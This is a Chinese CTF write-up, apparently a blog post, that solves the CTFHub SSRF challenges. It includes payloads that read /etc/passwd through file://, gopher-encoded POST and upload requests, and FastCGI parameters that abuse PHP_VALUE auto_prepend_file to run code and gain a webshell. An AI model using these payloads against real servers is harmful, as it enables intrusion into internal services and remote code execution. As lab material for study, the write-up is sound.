CTFHub-ssrf(1)

本文深入解析SSRF(服务器端请求伪造)漏洞原理及其利用方法,包括利用不同协议进行的多种攻击手段,如file协议读取文件、gopher协议反弹Shell等,并通过ctfhub实例演示FastCGI协议的具体攻击过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.简介

SSRF(Server-Side Request Forgery:服务器端请求伪造)
        ~~~~~~~        emm在我的理解里,ssrf漏洞即 我们给服务器发送一个请求(该请求使得服务器去向请求资源来向我们展示),而服务器能够请求到与自身相连而与外网隔绝的内部网络系统。从而实现ssrf攻击。
ssrf–每天都要努力哇

         ~~~~~~       SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器

存在点:详见上述引用的博客。

简单的操作及利用
协议-My_Dreams

file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容

http/s协议:探测内网主机存活

dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等

gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

2.ctfhub题目

1)内网访问

根据题目提示直接让让服务器去访问127.0.0.1/flag.php并给我们回显
在这里插入图片描述

2)伪协议读取文件

在这里插入图片描述

ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php

3)端口扫描

在这里插入图片描述
这里不用协议,只是简单的访问就行。

4)POST请求

在这里插入图片描述
题目中提到了curl,所以可以利用ghoper协议 post请求/flag.php 并携带key参数

1.post请求

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=8a6d748f4f820709cd9e444991d49dd0   

Content-Length的值 应该为你 POST 请求的长度 length(key=8a6d748f4f820709cd9e444991d49dd0)=36
上述四行必备

gopher协议利用
2.用gopher协议发过去
注意:
Gopher协议没有默认端口所以要指定
格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

gopher协议使用时的要求
1.对换行的处理     ~~~    正常url编码换行为%0A gopher协议需要把%0A改成%0D%0A
2.在url后加入一个字符_(该字符可随意写),不会被接收
3.再次url编码

在这里插入图片描述

5)上传文件

尝试 url=127.0.0.1/flag.php 发现是上传一个文件
尝试file协议读取

url=file:///var/www/html/flag.php

接着审计就是上传文件
写个提交按钮,上传一个文件并用bp拦截下来


------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--


这里的长度292是指
(------WebKitFormBoundary1lYApMMA3NDrr2iY到…dary1lYApMMA3NDrr2iY–)同时包含 前后的换行符 要再加4
构造post请求

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY

------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

然后将其先url一次 然后在记事本里 用%0D%3A替换 接着再url一次就可以上传了
在这里插入图片描述
post上传文件格式–小尹同学

6)FastCGI协议

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

emm,大概看懂了一点:

再强调一下,
把fastcgi类比http去看

http人家发送的东西长这样:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=8a6d748f4f820709cd9e444991d49dd0   

而fastcgi发送的东西类似一个json串,长这样:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?

PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

那么,我们怎么设置auto_prepend_file的值?
这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

emm,简单来讲,就是发个这样的东西:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

PHP-FPM默认监听9000端口

emm,再简单点来说,payload即
url=gopher://127.0.0.1:9000/_此处再加上上面fastcgi发送的东西然后需按照gopher的要求
    ~~~    然后此处大佬提供工具名字是gopherus

注意是python2的环境,建议linux环境

在这里插入图片描述
然后把生成的exp再url编码一次发过去就行了
在这里插入图片描述
然后就可以用antsword连接了
在这里插入图片描述
最后就能得到flag。
ctfhub利用SSRF攻击内网FastCGI协议
ctfhub-fastcgi协议

Redis协议

Redis协议详细规范
CTFHUB-SSRF-Redis协议

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值